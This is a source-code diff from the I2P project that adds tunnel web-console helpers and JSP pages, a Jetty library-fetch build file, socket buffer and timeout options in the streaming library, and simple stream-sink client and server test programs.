config.setProperty("interface", _reachableBy);
if (_proxyList != null)
config.setProperty("proxyList", _proxyList);
} else if ("client".equals(_type)) {
if (_port != null)
config.setProperty("listenPort", _port);
if (_reachableByOther != null)
config.setProperty("interface", _reachableByOther);
else
config.setProperty("interface", _reachableBy);
if (_targetDestination != null)
config.setProperty("targetDestination", _targetDestination);
} else if ("server".equals(_type)) {
if (_targetHost != null)
config.setProperty("targetHost", _targetHost);
if (_targetPort != null)
config.setProperty("targetPort", _targetPort);
if (_privKeyFile != null)
config.setProperty("privKeyFile", _privKeyFile);
} else {
return null;
}
return config;
}
private void updateConfigGeneric(Properties config) {
config.setProperty("type", _type);
if (_name != null)
config.setProperty("name", _name);
if (_description != null)
config.setProperty("description", _description);
if (_i2cpHost != null)
config.setProperty("i2cpHost", _i2cpHost);
if (_i2cpPort != null)
config.setProperty("i2cpPort", _i2cpPort);
if (_customOptions != null) {
StringTokenizer tok = new StringTokenizer(_customOptions);
while (tok.hasMoreTokens()) {
String pair = tok.nextToken();
int eq = pair.indexOf('=');
if ( (eq <= 0) || (eq >= pair.length()) )
continue;
String key = pair.substring(0, eq);
String val = pair.substring(eq+1);
if ("tunnels.numInbound".equals(key)) continue;
if ("tunnels.depthInbound".equals(key)) continue;
config.setProperty("option." + key, val);
}
}
config.setProperty("startOnLoad", _startOnLoad + "");
if (_tunnelCount != null)
config.setProperty("option.tunnels.numInbound", _tunnelCount);
if (_tunnelDepth != null)
config.setProperty("option.tunnels.depthInbound", _tunnelDepth);
}
/**
* Pretty print the messages provided
*
*/
private String getMessages(List msgs) {
if (msgs == null) return "";
int num = msgs.size();
switch (num) {
case 0: return "";
case 1: return (String)msgs.get(0);
default:
StringBuffer buf = new StringBuffer(512);
buf.append("<ul>");
for (int i = 0; i < num; i++)
buf.append("<li>").append((String)msgs.get(i)).append("</li>\n");
buf.append("</ul>\n");
return buf.toString();
}
}
}

View File

@ -0,0 +1,147 @@
package net.i2p.i2ptunnel;
import java.util.List;
import net.i2p.I2PAppContext;
import net.i2p.util.Log;
/**
* Ugly hack to let the web interface access the list of known tunnels and
* control their operation. Any data submitted by setting properties are
* acted upon by calling getActionResults() (which returns any messages
* generated). In addition, the getSummaryList() generates the html for
* summarizing all of the tunnels known, including both their status and the
* links to edit, stop, or start them.
*
*/
public class WebStatusPageHelper {
private Log _log;
private String _action;
private int _controllerNum;
public WebStatusPageHelper() {
_action = null;
_controllerNum = -1;
_log = I2PAppContext.getGlobalContext().logManager().getLog(WebStatusPageHelper.class);
}
public void setAction(String action) {
_action = action;
}
public void setNum(String num) {
if (num != null) {
try {
_controllerNum = Integer.parseInt(num);
} catch (NumberFormatException nfe) {
_controllerNum = -1;
}
}
}
public String getActionResults() {
try {
return processAction();
} catch (Throwable t) {
_log.log(Log.CRIT, "Internal error processing web status", t);
return "Internal error processing request - " + t.getMessage();
}
}
public String getSummaryList() {
StringBuffer buf = new StringBuffer(4*1024);
buf.append("<ul>");
List tunnels = TunnelControllerGroup.getInstance().getControllers();
for (int i = 0; i < tunnels.size(); i++) {
buf.append("<li>\n");
getSummary(buf, i, (TunnelController)tunnels.get(i));
buf.append("</li>\n");
}
buf.append("</ul>");
return buf.toString();
}
private void getSummary(StringBuffer buf, int num, TunnelController controller) {
buf.append("<b>").append(controller.getName()).append("</b>: ");
if (controller.getIsRunning()) {
buf.append("<i>running</i> ");
buf.append("<a href=\"index.jsp?num=").append(num).append("&action=stop\">stop</a> ");
} else {
buf.append("<i>not running</i> ");
buf.append("<a href=\"index.jsp?num=").append(num).append("&action=start\">start</a> ");
}
buf.append("<a href=\"edit.jsp?num=").append(num).append("\">edit</a> ");
buf.append("<br />\n");
controller.getSummary(buf);
}
private String processAction() {
if ( (_action == null) || (_action.trim().length() <= 0) )
return getMessages();
if ("Stop all".equals(_action))
return stopAll();
else if ("Start all".equals(_action))
return startAll();
else if ("Restart all".equals(_action))
return restartAll();
else if ("Reload config".equals(_action))
return reloadConfig();
else if ("stop".equals(_action))
return stop();
else if ("start".equals(_action))
return start();
else
return "Action <i>" + _action + "</i> unknown";
}
private String stopAll() {
List msgs = TunnelControllerGroup.getInstance().stopAllControllers();
return getMessages(msgs);
}
private String startAll() {
List msgs = TunnelControllerGroup.getInstance().startAllControllers();
return getMessages(msgs);
}
private String restartAll() {
List msgs = TunnelControllerGroup.getInstance().restartAllControllers();
return getMessages(msgs);
}
private String reloadConfig() {
TunnelControllerGroup.getInstance().reloadControllers();
return "Config reloaded";
}
private String start() {
if (_controllerNum < 0) return "Invalid tunnel";
List controllers = TunnelControllerGroup.getInstance().getControllers();
if (_controllerNum >= controllers.size()) return "Invalid tunnel";
TunnelController controller = (TunnelController)controllers.get(_controllerNum);
controller.startTunnel();
return getMessages(controller.clearMessages());
}
private String stop() {
if (_controllerNum < 0) return "Invalid tunnel";
List controllers = TunnelControllerGroup.getInstance().getControllers();
if (_controllerNum >= controllers.size()) return "Invalid tunnel";
TunnelController controller = (TunnelController)controllers.get(_controllerNum);
controller.stopTunnel();
return getMessages(controller.clearMessages());
}
private String getMessages() {
return getMessages(TunnelControllerGroup.getInstance().clearAllMessages());
}
private String getMessages(List msgs) {
if (msgs == null) return "";
int num = msgs.size();
switch (num) {
case 0: return "";
case 1: return (String)msgs.get(0);
default:
StringBuffer buf = new StringBuffer(512);
buf.append("<ul>");
for (int i = 0; i < num; i++)
buf.append("<li>").append((String)msgs.get(i)).append("</li>\n");
buf.append("</ul>\n");
return buf.toString();
}
}
}

View File

@ -0,0 +1,16 @@
<%@page contentType="text/html" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head>
<title>I2PTunnel edit</title>
</head><body>
<a href="index.jsp">Back</a>
<jsp:useBean class="net.i2p.i2ptunnel.WebEditPageHelper" id="helper" scope="request" />
<jsp:setProperty name="helper" property="*" />
<b><jsp:getProperty name="helper" property="actionResults" /></b>
<jsp:getProperty name="helper" property="editForm" />
</body>
</html>

View File

@ -0,0 +1,2 @@
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>I2P Router Console</title></head>
<body><meta http-equiv="refresh" content="0;url=index.jsp" /><a href="index.jsp">Enter</a></body></html>

View File

@ -0,0 +1,31 @@
<%@page contentType="text/html" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html><head>
<title>I2PTunnel status</title>
</head><body>
<jsp:useBean class="net.i2p.i2ptunnel.WebStatusPageHelper" id="helper" scope="request" />
<jsp:setProperty name="helper" property="*" />
<b><jsp:getProperty name="helper" property="actionResults" /></b>
<jsp:getProperty name="helper" property="summaryList" />
<hr />
<form action="index.jsp" method="GET">
<input type="submit" name="action" value="Stop all" />
<input type="submit" name="action" value="Start all" />
<input type="submit" name="action" value="Restart all" />
<input type="submit" name="action" value="Reload config" />
</form>
<form action="edit.jsp">
<b>Add new:</b>
<select name="type">
<option value="httpclient">HTTP proxy</option>
<option value="client">Client tunnel</option>
<option value="server">Server tunnel</option>
</select> <input type="submit" value="GO" />
</form>
</body>
</html>

View File

@ -0,0 +1,17 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.2//EN"
"http://java.sun.com/j2ee/dtds/web-app_2.2.dtd">
<web-app>
<!-- precompiled servlets -->
<session-config>
<session-timeout>
30
</session-timeout>
</session-config>
<welcome-file-list>
<welcome-file>index.html</welcome-file>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>

28
apps/jetty/build.xml Normal file
View File

@ -0,0 +1,28 @@
<?xml version="1.0" encoding="UTF-8"?>
<project basedir="." default="all" name="jetty">
<target name="all" depends="build" />
<target name="fetchJettylib" >
<available property="jetty.available" file="jettylib" />
<ant target="doFetchJettylib" />
</target>
<target name="doFetchJettylib" unless="jetty.available" >
<echo message="The libraries contained within the fetched file are from Jetty's 4.2.21 " />
<echo message="distribution (http://jetty.mortbay.org/) which we have copied to our website since" />
<echo message="theirs doesn't have direct HTTP access to the libs. These are not " />
<echo message="necessary for using I2P, but are used by some applications on top of I2P," />
<echo message="such as the routerconsole." />
<get src="http://dev.i2p.net/jettylib.tar.bz2" verbose="true" dest="jettylib.tar.bz2" />
<untar src="jettylib.tar.bz2" compression="bzip2" dest="." />
<delete file="jettylib.tar.bz2" />
</target>
<target name="build" depends="fetchJettylib" />
<target name="builddep" />
<target name="compile" />
<target name="jar" />
<target name="clean" />
<target name="cleandep" depends="clean" />
<target name="distclean" depends="clean">
<echo message="Not actually deleting the jetty libs (since they're so large)" />
</target>
</project>

View File

@ -32,8 +32,18 @@ public interface I2PSocket {
*/
public OutputStream getOutputStream() throws IOException;
/**
* Retrieve this socket's configuration
*/
public I2PSocketOptions getOptions();
/**
* Configure the socket
*/
public void setOptions(I2PSocketOptions options);
/**
* How long we will wait blocked on a read() operation.
* How long we will wait blocked on a read() operation. This is simply a
* helper to query the I2PSocketOptions
*
* @return milliseconds to wait, or -1 if we will wait indefinitely
*/
@ -41,7 +51,8 @@ public interface I2PSocket {
/**
* Define how long we will wait blocked on a read() operation (-1 will make
* the socket wait forever).
* the socket wait forever). This is simply a helper to adjust the
* I2PSocketOptions
*
*/
public void setReadTimeout(long ms);

View File

@ -9,6 +9,7 @@ import net.i2p.I2PAppContext;
import net.i2p.I2PException;
import net.i2p.client.I2PSessionException;
import net.i2p.data.Destination;
import net.i2p.util.Clock;
import net.i2p.util.I2PThread;
import net.i2p.util.Log;
@ -40,6 +41,7 @@ class I2PSocketImpl implements I2PSocket {
private long _createdOn;
private long _closedOn;
private long _remoteIdSetTime;
private I2PSocketOptions _options;
private Object flagLock = new Object();
/**
@ -73,14 +75,17 @@ class I2PSocketImpl implements I2PSocket {
remote = peer;
_socketId = ++__socketId;
local = mgr.getSession().getMyDestination();
in = new I2PInputStream();
I2PInputStream pin = new I2PInputStream();
String us = mgr.getSession().getMyDestination().calculateHash().toBase64().substring(0,4);
String name = us + (outgoing ? "->" : "<-") + peer.calculateHash().toBase64().subSequence(0,4);
in = new I2PInputStream(name + " in");
I2PInputStream pin = new I2PInputStream(name + " out");
out = new I2POutputStream(pin);
new I2PSocketRunner(pin);
this.localID = localID;
_createdOn = I2PAppContext.getGlobalContext().clock().now();
_remoteIdSetTime = -1;
_closedOn = -1;
_options = mgr.getDefaultOptions();
}
/**
@ -176,7 +181,11 @@ class I2PSocketImpl implements I2PSocket {
*/
public void queueData(byte[] data) {
_bytesRead += data.length;
in.queueData(data);
try {
in.queueData(data, false);
} catch (IOException ioe) {
_log.log(Log.CRIT, "wtf, we said DONT block, how can we timeout?", ioe);
}
}
/**
@ -245,19 +254,36 @@ class I2PSocketImpl implements I2PSocket {
return (byte)(I2PSocketManager.DATA_OUT + (byte)add);
}
public void setOptions(I2PSocketOptions options) {
_options = options;
in.setReadTimeout(options.getReadTimeout());
}
public I2PSocketOptions getOptions() {
return _options;
}
/**
* What is the longest we'll block on the input stream while waiting
* for more data? If this value is exceeded, the read() throws
* InterruptedIOException
* How long we will wait blocked on a read() operation. This is simply a
* helper to query the I2PSocketOptions
*
* @return milliseconds to wait, or -1 if we will wait indefinitely
*/
public long getReadTimeout() {
return in.getReadTimeout();
return _options.getReadTimeout();
}
/**
* Define how long we will wait blocked on a read() operation (-1 will make
* the socket wait forever). This is simply a helper to adjust the
* I2PSocketOptions
*
*/
public void setReadTimeout(long ms) {
_options.setReadTimeout(ms);
in.setReadTimeout(ms);
}
public void setSocketErrorListener(SocketErrorListener lsnr) {
_socketErrorListener = lsnr;
}
@ -277,15 +303,24 @@ class I2PSocketImpl implements I2PSocket {
//--------------------------------------------------
private class I2PInputStream extends InputStream {
private String streamName;
private ByteCollector bc = new ByteCollector();
private boolean inStreamClosed = false;
private long readTimeout = -1;
public I2PInputStream(String name) {
streamName = name;
}
public long getReadTimeout() {
return readTimeout;
}
private String getStreamPrefix() {
return getPrefix() + streamName + ": ";
}
public void setReadTimeout(long ms) {
readTimeout = ms;
}
@ -300,20 +335,24 @@ class I2PSocketImpl implements I2PSocket {
public int read(byte[] b, int off, int len) throws IOException {
if (_log.shouldLog(Log.DEBUG))
_log.debug(getPrefix() + "Read called for " + len + " bytes (avail=" + bc.getCurrentSize() + "): " + this.hashCode());
_log.debug(getStreamPrefix() + "Read called for " + len + " bytes (avail="
+ bc.getCurrentSize() + "): " + this.hashCode());
if (len == 0) return 0;
long dieAfter = System.currentTimeMillis() + readTimeout;
byte[] read = null;
synchronized (bc) {
read = bc.startToByteArray(len);
bc.notifyAll();
}
boolean timedOut = false;
while (read.length == 0) {
while ( (read.length == 0) && (!inStreamClosed) ) {
synchronized (flagLock) {
if (closed) {
if (_log.shouldLog(Log.DEBUG))
_log.debug(getPrefix() + "Closed is set after reading " + _bytesRead + " and writing " + _bytesWritten + ", so closing stream: " + hashCode());
_log.debug(getStreamPrefix() + "Closed is set after reading "
+ _bytesRead + " and writing " + _bytesWritten
+ ", so closing stream: " + hashCode());
return -1;
}
}
@ -329,18 +368,23 @@ class I2PSocketImpl implements I2PSocket {
if ((readTimeout >= 0)
&& (System.currentTimeMillis() >= dieAfter)) {
throw new InterruptedIOException(getPrefix() + "Timeout reading from I2PSocket (" + readTimeout + " msecs)");
throw new InterruptedIOException(getStreamPrefix() + "Timeout reading from I2PSocket ("
+ readTimeout + " msecs)");
}
synchronized (bc) {
read = bc.startToByteArray(len);
bc.notifyAll();
}
}
if (read.length > len) throw new RuntimeException("BUG");
if ( (inStreamClosed) && ( (read == null) || (read.length <= 0) ) )
return -1;
System.arraycopy(read, 0, b, off, read.length);
if (_log.shouldLog(Log.DEBUG)) {
_log.debug(getPrefix() + "Read from I2PInputStream " + hashCode() + " returned "
_log.debug(getStreamPrefix() + "Read from I2PInputStream " + hashCode() + " returned "
+ read.length + " bytes");
}
//if (_log.shouldLog(Log.DEBUG)) {
@ -357,19 +401,66 @@ class I2PSocketImpl implements I2PSocket {
}
}
public void queueData(byte[] data) {
queueData(data, 0, data.length);
/**
* Add the data to the queue
*
* @param allowBlock if true, we will block if the buffer and the socket options
* say so, otherwise we simply take the data regardless.
* @throws InterruptedIOException if the queue's buffer is full, the socket has
* a write timeout, and that timeout is exceeded
* @throws IOException if the connection was closed while queueing up the data
*/
void queueData(byte[] data, boolean allowBlock) throws InterruptedIOException, IOException {
queueData(data, 0, data.length, allowBlock);
}
public void queueData(byte[] data, int off, int len) {
/**
* Add the data to the queue
*
* @param allowBlock if true, we will block if the buffer and the socket options
* say so, otherwise we simply take the data regardless.
* @throws InterruptedIOException if the queue's buffer is full, the socket has
* a write timeout, and that timeout is exceeded
* @throws IOException if the connection was closed while queueing up the data
*/
public void queueData(byte[] data, int off, int len, boolean allowBlock) throws InterruptedIOException, IOException {
if (_log.shouldLog(Log.DEBUG))
_log.debug(getPrefix() + "Insert " + len + " bytes into queue: " + hashCode());
_log.debug(getStreamPrefix() + "Insert " + len + " bytes into queue: " + hashCode());
Clock clock = I2PAppContext.getGlobalContext().clock();
long endAfter = clock.now() + _options.getWriteTimeout();
synchronized (bc) {
if (allowBlock) {
if (_options.getMaxBufferSize() > 0) {
while (bc.getCurrentSize() > _options.getMaxBufferSize()) {
if (_log.shouldLog(Log.DEBUG))
_log.debug(getStreamPrefix() + "Buffer size exceeded: pending "
+ bc.getCurrentSize() + " limit " + _options.getMaxBufferSize());
if (_options.getWriteTimeout() > 0) {
long timeLeft = endAfter - clock.now();
if (timeLeft <= 0) {
long waited = _options.getWriteTimeout() - timeLeft;
throw new InterruptedIOException(getStreamPrefix() + "Waited too long ("
+ waited + "ms) to write "
+ len + " with a buffer at " + bc.getCurrentSize());
}
}
if (inStreamClosed)
throw new IOException(getStreamPrefix() + "Stream closed while writing");
if (_closedOn > 0)
throw new IOException(getStreamPrefix() + "I2PSocket closed while writing");
try {
bc.wait(1000);
} catch (InterruptedException ie) {}
}
}
}
bc.append(data, off, len);
}
synchronized (I2PInputStream.this) {
I2PInputStream.this.notifyAll();
}
if (_log.shouldLog(Log.DEBUG))
_log.debug(getStreamPrefix() + "After insert " + len + " bytes into queue: " + hashCode());
}
public void notifyClosed() {
@ -381,6 +472,12 @@ class I2PSocketImpl implements I2PSocket {
public void close() throws IOException {
super.close();
notifyClosed();
synchronized (bc) {
inStreamClosed = true;
bc.notifyAll();
}
if (_log.shouldLog(Log.DEBUG))
_log.debug(getStreamPrefix() + "After close");
}
}
@ -399,7 +496,7 @@ class I2PSocketImpl implements I2PSocket {
public void write(byte[] b, int off, int len) throws IOException {
_bytesWritten += len;
sendTo.queueData(b, off, len);
sendTo.queueData(b, off, len, true);
}
public void close() {
@ -428,10 +525,21 @@ class I2PSocketImpl implements I2PSocket {
*/
private boolean handleNextPacket(ByteCollector bc, byte buffer[])
throws IOException, I2PSessionException {
if (_log.shouldLog(Log.DEBUG))
_log.debug(getPrefix() + ":" + Thread.currentThread().getName() + "handleNextPacket");
int len = in.read(buffer);
int bcsize = bc.getCurrentSize();
int bcsize = 0;
synchronized (bc) {
bcsize = bc.getCurrentSize();
}
if (_log.shouldLog(Log.DEBUG))
_log.debug(getPrefix() + ":" + Thread.currentThread().getName() + "handleNextPacket len=" + len + " bcsize=" + bcsize);
if (len != -1) {
bc.append(buffer, len);
synchronized (bc) {
bc.append(buffer, len);
}
} else if (bcsize == 0) {
// nothing left in the buffer, and read(..) got EOF (-1).
// the bart the
@ -439,7 +547,7 @@ class I2PSocketImpl implements I2PSocket {
}
if ((bcsize < MAX_PACKET_SIZE) && (in.available() == 0)) {
if (_log.shouldLog(Log.DEBUG))
_log.debug(getPrefix() + "Runner Point d: " + hashCode());
_log.debug(getPrefix() + ":" + Thread.currentThread().getName() + "Runner Point d: " + hashCode());
try {
Thread.sleep(PACKET_DELAY);
@ -448,16 +556,22 @@ class I2PSocketImpl implements I2PSocket {
}
}
if ((bcsize >= MAX_PACKET_SIZE) || (in.available() == 0)) {
byte[] data = bc.startToByteArray(MAX_PACKET_SIZE);
byte data[] = null;
synchronized (bc) {
data = bc.startToByteArray(MAX_PACKET_SIZE);
}
if (data.length > 0) {
if (_log.shouldLog(Log.DEBUG))
_log.debug(getPrefix() + "Message size is: " + data.length);
_log.debug(getPrefix() + ":" + Thread.currentThread().getName() + "Message size is: " + data.length);
boolean sent = sendBlock(data);
if (!sent) {
if (_log.shouldLog(Log.WARN))
_log.warn(getPrefix() + "Error sending message to peer. Killing socket runner");
_log.warn(getPrefix() + ":" + Thread.currentThread().getName() + "Error sending message to peer. Killing socket runner");
errorOccurred();
return false;
} else {
if (_log.shouldLog(Log.DEBUG))
_log.debug(getPrefix() + ":" + Thread.currentThread().getName() + "Message sent to peer");
}
}
}
@ -474,7 +588,14 @@ class I2PSocketImpl implements I2PSocket {
while (keepHandling) {
keepHandling = handleNextPacket(bc, buffer);
packetsHandled++;
if (_log.shouldLog(Log.DEBUG))
_log.debug(getPrefix() + ":" + Thread.currentThread().getName()
+ "Packets handled: " + packetsHandled);
}
if (_log.shouldLog(Log.INFO))
_log.info(getPrefix() + ":" + Thread.currentThread().getName()
+ "After handling packets, we're done. Packets handled: " + packetsHandled);
if ((bc.getCurrentSize() > 0) && (packetsHandled > 1)) {
if (_log.shouldLog(Log.WARN))
_log.warn(getPrefix() + "We lost some data queued up due to a network send error (input stream: "
@ -490,16 +611,20 @@ class I2PSocketImpl implements I2PSocket {
} // FIXME: Race here?
if (sc) {
if (_log.shouldLog(Log.INFO))
_log.info(getPrefix() + "Sending close packet: (we started? " + outgoing + ") after reading " + _bytesRead + " and writing " + _bytesWritten);
_log.info(getPrefix() + ":" + Thread.currentThread().getName()
+ "Sending close packet: (we started? " + outgoing
+ ") after reading " + _bytesRead + " and writing " + _bytesWritten);
byte[] packet = I2PSocketManager.makePacket(getMask(0x02), remoteID, new byte[0]);
boolean sent = manager.getSession().sendMessage(remote, packet);
if (!sent) {
if (_log.shouldLog(Log.WARN))
_log.warn(getPrefix() + "Error sending close packet to peer");
_log.warn(getPrefix() + ":" + Thread.currentThread().getName()
+ "Error sending close packet to peer");
errorOccurred();
}
}
manager.removeSocket(I2PSocketImpl.this);
internalClose();
} catch (InterruptedIOException ex) {
_log.error(getPrefix() + "BUG! read() operations should not timeout!", ex);
} catch (IOException ex) {

View File

@ -377,7 +377,7 @@ public class I2PSocketManager implements I2PSessionListener {
*
* @throws IllegalStateException if the socket isn't open or isn't known
*/
private void sendIncoming(String id, byte payload[]) {
private void sendIncoming(String id, byte payload[]) throws IllegalStateException {
I2PSocketImpl s = null;
synchronized (lock) {
s = (I2PSocketImpl) _inSockets.get(id);
@ -469,7 +469,10 @@ public class I2PSocketManager implements I2PSessionListener {
_context.statManager().addRateData("streaming.synNoAck", 1, 1);
throw new I2PException("Error sending through I2P network");
}
remoteID = s.getRemoteID(true, options.getConnectTimeout());
if (options != null)
remoteID = s.getRemoteID(true, options.getConnectTimeout());
else
remoteID = s.getRemoteID(true, getDefaultOptions().getConnectTimeout());
if (remoteID == null) {
_context.statManager().addRateData("streaming.nackReceived", 1, 1);

View File

@ -30,7 +30,18 @@ public class I2PSocketManagerFactory {
* @return the newly created socket manager, or null if there were errors
*/
public static I2PSocketManager createManager() {
return createManager("localhost", 7654, new Properties());
String i2cpHost = System.getProperty(I2PClient.PROP_TCP_HOST, "localhost");
int i2cpPort = 7654;
String i2cpPortStr = System.getProperty(I2PClient.PROP_TCP_PORT);
if (i2cpPortStr != null) {
try {
i2cpPort = Integer.parseInt(i2cpPortStr);
} catch (NumberFormatException nfe) {
// gobble gobble
}
}
return createManager(i2cpHost, i2cpPort, System.getProperties());
}
/**
@ -81,6 +92,7 @@ public class I2PSocketManagerFactory {
private static I2PSocketManager createManager(I2PSession session) {
I2PSocketManager mgr = new I2PSocketManager();
mgr.setSession(session);
mgr.setDefaultOptions(new I2PSocketOptions());
return mgr;
}
}

View File

@ -6,9 +6,18 @@ package net.i2p.client.streaming;
*/
public class I2PSocketOptions {
private long _connectTimeout;
private long _readTimeout;
private long _writeTimeout;
private int _maxBufferSize;
public static final int DEFAULT_BUFFER_SIZE = 1024*64;
public static final int DEFAULT_WRITE_TIMEOUT = 60*1000;
public I2PSocketOptions() {
_connectTimeout = -1;
_readTimeout = -1;
_writeTimeout = DEFAULT_WRITE_TIMEOUT;
_maxBufferSize = DEFAULT_BUFFER_SIZE;
}
/**
@ -27,4 +36,65 @@ public class I2PSocketOptions {
public void setConnectTimeout(long ms) {
_connectTimeout = ms;
}
/**
* What is the longest we'll block on the input stream while waiting
* for more data. If this value is exceeded, the read() throws
* InterruptedIOException
*/
public long getReadTimeout() {
return _readTimeout;
}
/**
* What is the longest we'll block on the input stream while waiting
* for more data. If this value is exceeded, the read() throws
* InterruptedIOException
*/
public void setReadTimeout(long ms) {
_readTimeout = ms;
}
/**
* How much data will we accept that hasn't been written out yet. After
* this amount has been exceeded, subsequent .write calls will block until
* either some data is removed or the connection is closed. If this is
* less than or equal to zero, there is no limit (warning: can eat ram)
*
* @return buffer size limit, in bytes
*/
public int getMaxBufferSize() {
return _maxBufferSize;
}
/**
* How much data will we accept that hasn't been written out yet. After
* this amount has been exceeded, subsequent .write calls will block until
* either some data is removed or the connection is closed. If this is
* less than or equal to zero, there is no limit (warning: can eat ram)
*
*/
public void setMaxBufferSize(int numBytes) {
_maxBufferSize = numBytes;
}
/**
* What is the longest we'll block on the output stream while waiting
* for the data to flush. If this value is exceeded, the write() throws
* InterruptedIOException. If this is less than or equal to zero, there
* is no timeout.
*/
public long getWriteTimeout() {
return _writeTimeout;
}
/**
* What is the longest we'll block on the output stream while waiting
* for the data to flush. If this value is exceeded, the write() throws
* InterruptedIOException. If this is less than or equal to zero, there
* is no timeout.
*/
public void setWriteTimeout(long ms) {
_writeTimeout = ms;
}
}

View File

@ -0,0 +1,135 @@
package net.i2p.client.streaming;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InterruptedIOException;
import java.io.OutputStream;
import java.net.ConnectException;
import java.net.NoRouteToHostException;
import java.util.Random;
import net.i2p.I2PAppContext;
import net.i2p.I2PException;
import net.i2p.data.Destination;
import net.i2p.data.DataFormatException;
import net.i2p.util.Log;
/**
* Simple streaming lib test app that connects to a given destination and sends
* it a particular amount of random data, then disconnects. See the {@link #main}
*
*/
public class StreamSinkClient {
private Log _log;
private int _sendSize;
private int _writeDelay;
private String _peerDestFile;
/**
* Build the client but don't fire it up.
* @param sendSize how many KB to send
* @param writeDelayMs how long to wait between each .write (0 for no delay)
* @param serverDestFile file containing the StreamSinkServer's binary Destination
*/
public StreamSinkClient(int sendSize, int writeDelayMs, String serverDestFile) {
_sendSize = sendSize;
_writeDelay = writeDelayMs;
_peerDestFile = serverDestFile;
_log = I2PAppContext.getGlobalContext().logManager().getLog(StreamSinkClient.class);
}
/**
* Actually connect and run the client - this call blocks until completion.
*
*/
public void runClient() {
I2PSocketManager mgr = I2PSocketManagerFactory.createManager();
Destination peer = null;
FileInputStream fis = null;
try {
fis = new FileInputStream(_peerDestFile);
peer = new Destination();
peer.readBytes(fis);
} catch (IOException ioe) {
_log.error("Error finding the peer destination to contact in " + _peerDestFile, ioe);
return;
} catch (DataFormatException dfe) {
_log.error("Peer destination is not valid in " + _peerDestFile, dfe);
return;
} finally {
if (fis == null) try { fis.close(); } catch (IOException ioe) {}
}
System.out.println("Send " + _sendSize + "KB to " + peer.calculateHash().toBase64());
try {
I2PSocket sock = mgr.connect(peer);
byte buf[] = new byte[32*1024];
Random rand = new Random();
OutputStream out = sock.getOutputStream();
long beforeSending = System.currentTimeMillis();
for (int i = 0; i < _sendSize; i+= 32) {
rand.nextBytes(buf);
out.write(buf);
if (_log.shouldLog(Log.DEBUG))
_log.debug("Wrote " + (i+32) + "/" + _sendSize + "KB");
if (_writeDelay > 0) {
try { Thread.sleep(_writeDelay); } catch (InterruptedException ie) {}
}
}
long afterSending = System.currentTimeMillis();
System.out.println("Sent " + _sendSize + "KB in " + (afterSending-beforeSending) + "ms");
sock.close();
} catch (InterruptedIOException iie) {
_log.error("Timeout connecting to the peer", iie);
return;
} catch (NoRouteToHostException nrthe) {
_log.error("Unable to connect to the peer", nrthe);
return;
} catch (ConnectException ce) {
_log.error("Connection already dropped", ce);
return;
} catch (I2PException ie) {
_log.error("Error connecting to the peer", ie);
return;
} catch (IOException ioe) {
_log.error("IO error sending", ioe);
return;
}
}
/**
* Fire up the client. <code>Usage: StreamSinkClient sendSizeKB writeDelayMs serverDestFile</code> <br />
* <ul>
* <li><b>sendSizeKB</b>: how many KB to send</li>
* <li><b>writeDelayMs</b>: how long to wait between each .write (0 for no delay)</li>
* <li><b>serverDestFile</b>: file containing the StreamSinkServer's binary Destination</li>
* </ul>
*/
public static void main(String args[]) {
if (args.length != 3) {
System.out.println("Usage: StreamSinkClient sendSizeKB writeDelayMs serverDestFile");
} else {
int sendSizeKB = -1;
int writeDelayMs = -1;
try {
sendSizeKB = Integer.parseInt(args[0]);
} catch (NumberFormatException nfe) {
System.err.println("Send size invalid [" + args[0] + "]");
return;
}
try {
writeDelayMs = Integer.parseInt(args[1]);
} catch (NumberFormatException nfe) {
System.err.println("Write delay ms invalid [" + args[1] + "]");
return;
}
StreamSinkClient client = new StreamSinkClient(sendSizeKB, writeDelayMs, args[2]);
client.runClient();
}
}
}

View File

@ -0,0 +1,135 @@
package net.i2p.client.streaming;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.ConnectException;
import net.i2p.I2PAppContext;
import net.i2p.I2PException;
import net.i2p.data.DataFormatException;
import net.i2p.data.Destination;
import net.i2p.util.I2PThread;
import net.i2p.util.Log;
/**
* Listen to a destination, receiving any sockets and writing anything they
* send to a new file. See the {@link #main}
*
*/
public class StreamSinkServer {
private Log _log;
private String _sinkDir;
private String _destFile;
/**
* Create but do not start the streaming server.
*
* @param sinkDir Directory to store received files in
* @param ourDestFile filename to write our binary destination to
*/
public StreamSinkServer(String sinkDir, String ourDestFile) {
_sinkDir = sinkDir;
_destFile = ourDestFile;
_log = I2PAppContext.getGlobalContext().logManager().getLog(StreamSinkServer.class);
}
/**
* Actually fire up the server - this call blocks forever (or until the server
* socket closes)
*
*/
public void runServer() {
I2PSocketManager mgr = I2PSocketManagerFactory.createManager();
Destination dest = mgr.getSession().getMyDestination();
System.out.println("Listening for connections on: " + dest.calculateHash().toBase64());
FileOutputStream fos = null;
try {
fos = new FileOutputStream(_destFile);
dest.writeBytes(fos);
} catch (IOException ioe) {
_log.error("Error writing out our destination to " + _destFile, ioe);
return;
} catch (DataFormatException dfe) {
_log.error("Error formatting the destination", dfe);
return;
} finally {
if (fos != null) try { fos.close(); } catch (IOException ioe) {}
}
I2PServerSocket sock = mgr.getServerSocket();
while (true) {
try {
I2PSocket curSock = sock.accept();
handle(curSock);
} catch (I2PException ie) {
_log.error("Error accepting connection", ie);
return;
} catch (ConnectException ce) {
_log.error("Connection already dropped", ce);
return;
}
}
}
private void handle(I2PSocket socket) {
I2PThread t = new I2PThread(new ClientRunner(socket));
t.setName("Handle " + socket.getPeerDestination().calculateHash().toBase64().substring(0,4));
t.start();
}
/**
* Actually deal with a client - pull anything they send us and write it to a file.
*
*/
private class ClientRunner implements Runnable {
private I2PSocket _sock;
private FileOutputStream _fos;
public ClientRunner(I2PSocket socket) {
_sock = socket;
try {
File sink = new File(_sinkDir);
if (!sink.exists())
sink.mkdirs();
File cur = File.createTempFile("clientSink", ".dat", sink);
_fos = new FileOutputStream(cur);
} catch (IOException ioe) {
_log.error("Error creating sink", ioe);
_fos = null;
}
}
public void run() {
if (_fos == null) return;
try {
InputStream in = _sock.getInputStream();
byte buf[] = new byte[4096];
int read = 0;
